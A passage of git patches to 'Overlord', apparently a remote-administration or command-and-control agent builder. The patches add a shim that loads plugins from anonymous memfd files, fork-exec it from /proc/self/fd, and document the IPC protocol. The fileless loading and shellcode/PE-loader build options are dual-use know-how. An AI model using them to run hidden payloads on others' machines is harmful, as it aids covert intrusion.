shim is a small dynamically-linked binary that dlopen()s plugins on + // behalf of the statically-linked agent (static musl cannot call dlopen). + // We use the native 'cc' for amd64 (glibc, works on most servers) and the + // musl cross-compiler for arm targets (works on musl/Alpine targets). + if (os === "linux" && env.CGO_ENABLED === "1") { + const pluginHostSrc = path.join(clientDir, "cmd/agent/plugins/plugin_host/plugin_host.c"); + if (fs.existsSync(pluginHostSrc)) { + const archSuffix = actualArch === "amd64" ? "amd64" + : actualArch === "arm64" ? "arm64" + : "arm"; + const pluginHostOut = path.join(clientDir, `cmd/agent/plugins/plugin_host/plugin_host_${archSuffix}`); + // For amd64 use the native system compiler (glibc) so the shim runs on + // glibc targets. For cross-compiled arches use env.CC (musl) without -static. + const hostCC = actualArch === "amd64" ? "cc" : (env.CC || "cc"); + sendToStream({ type: "output", text: `Compiling plugin host shim (${archSuffix}) with ${hostCC}...\n`, level: "info" }); + try { + const compileProc = $`${hostCC} -O2 -o ${pluginHostOut} ${pluginHostSrc} -ldl`.nothrow(); + let compileOut = ""; + for await (const line of compileProc.lines()) { compileOut += line + "\n"; } + const compileResult = await compileProc; + if (compileResult.exitCode !== 0) { + sendToStream({ type: "output", text: `Warning: plugin host shim compilation failed — plugins will fall back to direct dlopen:\n${compileOut}\n`, level: "warn" }); + } else { + sendToStream({ type: "output", text: `Plugin host shim compiled: ${pluginHostOut}\n`, level: "info" }); + } + } catch (err: any) { + sendToStream({ type: "output", text: `Warning: plugin host shim compilation error — ${err?.message || err}\n`, level: "warn" }); + } + } + } + const isShellcodeMode = !!(config.useDonut || config.useLinuxShellcode); try { diff --git a/plugins/PLUGINS.md b/plugins/PLUGINS.md index 74e7640..9ba5e29 100644 --- a/plugins/PLUGINS.md +++ b/plugins/PLUGINS.md @@ -1046,6 +1046,82 @@ The SSE stream keeps itself alive with a comment heartbeat every 25 s, which wor --- +## 12) Static-agent plugin loading (Linux subprocess shim) + +Linux agents are compiled as fully static musl binaries for maximum portability +(runs on any Linux regardless of glibc version or distribution). Fully static +binaries cannot call `dlopen`, which is normally used to load `.so` plugins in-process. + +Overlord works around this with an embedded **plugin host shim** — a small, +dynamically-linked C binary compiled at agent-build time and embedded inside the +agent via `//go:embed`. When a plugin is loaded the agent: + +1. Writes the `.so` to an anonymous in-memory file (`memfd_create`). +2. Writes the embedded shim to a second memfd. +3. Creates a `socketpair` for bidirectional IPC. +4. `forkexec`s the shim, passing the two fd numbers as argv. +5. The shim calls `dlopen("/proc/self/fd/")` normally (it is dynamic, so this works). +6. The agent and shim exchange events over the socket for the lifetime of the plugin. + +The shim itself is **never committed to the repository as a binary**. It is compiled +fresh from `Overlord-Client/cmd/agent/plugins/plugin_host/plugin_host.c` every time +an agent is built via the Overlord UI. Users can read the source and verify it +before building. + +### How the shim is compiled + +`build-process.ts` inserts a compilation step before `go build` for every Linux CGO +agent build: + +| Target arch | Compiler used | Linked against | +|-------------|---------------|----------------| +| `linux-amd64` | native `cc` (Debian clang, from build container) | glibc — works on Ubuntu, Debian, RHEL, etc. | +| `linux-arm64` | `aarch64-linux-musl-gcc` (musl cross-compiler) | musl — works on Alpine and musl-based systems | +| `linux-armv7` | `armv7l-linux-musleabihf-gcc` | musl | + +The compiled binary is written to +`Overlord-Client/cmd/agent/plugins/plugin_host/plugin_host_` and picked up +by `//go:embed`. If compilation fails (e.g. the cross-compiler is not yet +downloaded), a warning is logged and the agent falls back to attempting direct +`dlopen` — which will fail on static builds but does not break the build itself. + +### Compatibility + +| Target system | Plugin support | +|---------------|----------------| +| **glibc Linux (Ubuntu, Debian, Fedora, RHEL, …)** | **Full** — shim compiled with native glibc clang | +| musl Linux (Alpine) | Full for arm64/armv7; amd64 shim is glibc-linked, so plugins require a glibc compat layer | +| Non-Linux (Windows, macOS) | Unchanged — Windows uses in-memory PE loader, macOS uses temp-file dlopen | + +### Writing plugins for static-agent targets + +**No changes are required to plugin source code.** The plugin ABI (`PluginOnLoad`, +`PluginOnEvent`, `PluginOnUnload`, `PluginGetRuntime`) is identical whether the +agent uses in-process `dlopen` or the subprocess shim. The only constraint is +that the plugin `.so` must be compiled with the **same libc** as the shim: + +- For glibc amd64 targets: compile the plugin with `gcc` or `clang` on a glibc system. +- For musl arm64/armv7 targets: compile the plugin with the musl cross-compilers. + +### IPC protocol (for plugin authors / contributors) + +The agent and shim communicate over a `SOCK_STREAM` Unix socketpair using a +simple length-prefixed binary protocol. Each message is: + +``` +[4-byte LE total-payload-length][1-byte message-type][payload bytes…] +``` + +| Direction | Type | Meaning | +|-----------|------|---------| +| agent → shim | `0x01` LOAD | `hostInfo` bytes; shim calls `PluginOnLoad` | +| agent → shim | `0x02` EVENT | `[u16le evLen][event][u32le plLen][payload]`; shim calls `PluginOnEvent` | +| agent → shim | `0x03` UNLOAD | Shim calls `PluginOnUnload` and exits | +| shim → agent | `0x10` CALLBACK | `[u16le evLen][event][u32le plLen][payload]`; forwarded to server | +| shim → agent | `0x11` READY | Runtime string (e.g. `"c"`); sent after successful `dlopen` | +| shim → agent | `0x12` ERR | Error string; sent instead of READY if `dlopen` or symbol resolution fails | +| shim → agent | `0x13` LOAD_RESULT | `[u8: 0=ok, 1=error]`; sent after `PluginOnLoad` returns | + ## Plugin Signing Plugins can be cryptographically signed with Ed25519 keys. The server verifies signatures on upload and displays trust status in the dashboard. Loading unsigned or untrusted plugins requires explicit confirmation. From 0c8d98301e406b0e49a619a3878acc7b2e4d43ee Mon Sep 17 00:00:00 2001 From: DeadmanLabs Date: Sun, 10 May 2026 17:31:46 -0400 Subject: [PATCH 5/7] fix: define sp_memfd_create/sp_write_all in subproc CGO preamble CGO preamble functions are per-file translation units; so_memfd_create and so_write_all from loader_linux.go are not visible in loader_linux_subproc.go. Add local equivalents with sp_ prefix. --- .../cmd/agent/plugins/loader_linux_subproc.go | 25 +++++++++++++++++-- 1 file changed, 23 insertions(+), 2 deletions(-) diff --git a/Overlord-Client/cmd/agent/plugins/loader_linux_subproc.go b/Overlord-Client/cmd/agent/plugins/loader_linux_subproc.go index e7109ee..574f9d7 100644 --- a/Overlord-Client/cmd/agent/plugins/loader_linux_subproc.go +++ b/Overlord-Client/cmd/agent/plugins/loader_linux_subproc.go @@ -4,11 +4,32 @@ package plugins /* #include +#include #include +#include + +#ifndef MFD_CLOEXEC +#define MFD_CLOEXEC 0x0001U +#endif static int make_socketpair(int fds[2]) { return socketpair(AF_UNIX, SOCK_STREAM, 0, fds); } + +static int sp_memfd_create(void) { + return (int)syscall(SYS_memfd_create, "plugin", MFD_CLOEXEC); +} + +static int sp_write_all(int fd, const void* buf, size_t len) { + const char* p = (const char*)buf; + while (len > 0) { + ssize_t n = write(fd, p, len); + if (n <= 0) return -1; + p += n; + len -= (size_t)n; + } + return 0; +} */ import "C" @@ -44,11 +65,11 @@ func loadNativePluginSubproc(soData []byte) (NativePlugin, error) { } // Write the .so to a memfd so the shim can dlopen it. - soFd := int(C.so_memfd_create()) + soFd := int(C.sp_memfd_create()) if soFd < 0 { return nil, errors.New("memfd_create failed for plugin .so") } - if C.so_write_all(C.int(soFd), unsafe.Pointer(&soData[0]), C.size_t(len(soData))) != 0 { + if C.sp_write_all(C.int(soFd), unsafe.Pointer(&soData[0]), C.size_t(len(soData))) != 0 { syscall.Close(soFd) return nil, errors.New("write to plugin .so memfd failed") } From 7288f6c56b0292291d22621a00744173630be503 Mon Sep 17 00:00:00 2001 From: DeadmanLabs Date: Sun, 10 May 2026 17:33:20 -0400 Subject: [PATCH 6/7] fix: use CGO helper for shim memfd_create instead of syscall.SYS_MEMFD_CREATE syscall.SYS_MEMFD_CREATE is not defined in Go stdlib syscall package. Replace with sp_memfd_create_nocloe() CGO helper (flags=0, no CLOEXEC). --- .../cmd/agent/plugins/loader_linux_subproc.go | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/Overlord-Client/cmd/agent/plugins/loader_linux_subproc.go b/Overlord-Client/cmd/agent/plugins/loader_linux_subproc.go index 574f9d7..7ac558d 100644 --- a/Overlord-Client/cmd/agent/plugins/loader_linux_subproc.go +++ b/Overlord-Client/cmd/agent/plugins/loader_linux_subproc.go @@ -20,6 +20,11 @@ static int sp_memfd_create(void) { return (int)syscall(SYS_memfd_create, "plugin", MFD_CLOEXEC); } +// No CLOEXEC — the fd must survive fexecve/exec into the shim process. +static int sp_memfd_create_nocloe(void) { + return (int)syscall(SYS_memfd_create, "ph", 0); +} + static int sp_write_all(int fd, const void* buf, size_t len) { const char* p = (const char*)buf; while (len > 0) { @@ -75,13 +80,12 @@ func loadNativePluginSubproc(soData []byte) (NativePlugin, error) { } // Write the shim binary to a memfd WITHOUT close-on-exec so it survives exec. - shimFd, _, errno := syscall.RawSyscall(syscall.SYS_MEMFD_CREATE, - uintptr(unsafe.Pointer(syscall.StringBytePtr("ph"))), 0, 0) - if int(shimFd) < 0 { + shimFdC := C.sp_memfd_create_nocloe() + if shimFdC < 0 { syscall.Close(soFd) - return nil, fmt.Errorf("memfd_create for shim failed: %w", errno) + return nil, errors.New("memfd_create for shim failed") } - shimFile := os.NewFile(shimFd, "plugin_host_shim") + shimFile := os.NewFile(uintptr(shimFdC), "plugin_host_shim") if _, err := shimFile.Write(pluginHostBinary); err != nil { shimFile.Close() syscall.Close(soFd) @@ -105,7 +109,7 @@ func loadNativePluginSubproc(soData []byte) (NativePlugin, error) { // child fd 3 = .so memfd // child fd 4 = child end of socketpair devNull, _ := syscall.Open("/dev/null", syscall.O_RDONLY, 0) - shimPath := fmt.Sprintf("/proc/self/fd/%d", int(shimFd)) + shimPath := fmt.Sprintf("/proc/self/fd/%d", int(shimFdC)) pid, err := syscall.ForkExec(shimPath, []string{"plugin_host", strconv.Itoa(3), strconv.Itoa(4)}, &syscall.ProcAttr{ From 263250fe596416627d82e0f10932f741719a867a Mon Sep 17 00:00:00 2001 From: DeadmanLabs Date: Sun, 10 May 2026 17:45:24 -0400 Subject: [PATCH 7/7] fix: compile plugin host shim statically to avoid glibc version mismatch A dynamically-linked shim compiled on Debian Bookworm (glibc 2.36) fails on older glibc targets. Compile with -static so the shim is self-contained and runs on any glibc version. Static glibc can still call dlopen at runtime via the system ld-linux.so.2. Also surface subprocess errors instead of silently falling through to dlopen so failures are visible in the build log. --- Overlord-Client/cmd/agent/plugins/loader_linux.go | 3 +-- Overlord-Server/src/server/build-process.ts | 9 ++++++--- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/Overlord-Client/cmd/agent/plugins/loader_linux.go b/Overlord-Client/cmd/agent/plugins/loader_linux.go index a8838e7..8468b84 100644 --- a/Overlord-Client/cmd/agent/plugins/loader_linux.go +++ b/Overlord-Client/cmd/agent/plugins/loader_linux.go @@ -114,8 +114,7 @@ func loadNativePlugin(data []byte) (NativePlugin, error) { if err == nil { return p, nil } - // Fall through — the shim may be incompatible with this target's libc. - _ = err + return nil, fmt.Errorf("plugin host shim: %w", err) } fd := C.so_memfd_create() diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts index 8efa174..145984a 100644 --- a/Overlord-Server/src/server/build-process.ts +++ b/Overlord-Server/src/server/build-process.ts @@ -878,12 +878,15 @@ func runBoundFiles() { : actualArch === "arm64" ? "arm64" : "arm"; const pluginHostOut = path.join(clientDir, `cmd/agent/plugins/plugin_host/plugin_host_${archSuffix}`); - // For amd64 use the native system compiler (glibc) so the shim runs on - // glibc targets. For cross-compiled arches use env.CC (musl) without -static. + // For amd64 compile a fully static glibc binary (-static -ldl) so the + // shim has no shared library dependencies and runs on any glibc version. + // Static glibc can still call dlopen at runtime via the system ld-linux.so.2. + // For cross-compiled arches use env.CC (musl cross-compiler) without -static. const hostCC = actualArch === "amd64" ? "cc" : (env.CC || "cc"); + const shimExtraFlags = actualArch === "amd64" ? ["-static"] : []; sendToStream({ type: "output", text: `Compiling plugin host shim (${archSuffix}) with ${hostCC}...\n`, level: "info" }); try { - const compileProc = $`${hostCC} -O2 -o ${pluginHostOut} ${pluginHostSrc} -ldl`.nothrow(); + const compileProc = $`${hostCC} -O2 -o ${pluginHostOut} ${pluginHostSrc} ${shimExtraFlags} -ldl`.nothrow(); let compileOut = ""; for await (const line of compileProc.lines()) { compileOut += line + "\n"; } const compileResult = await compileProc;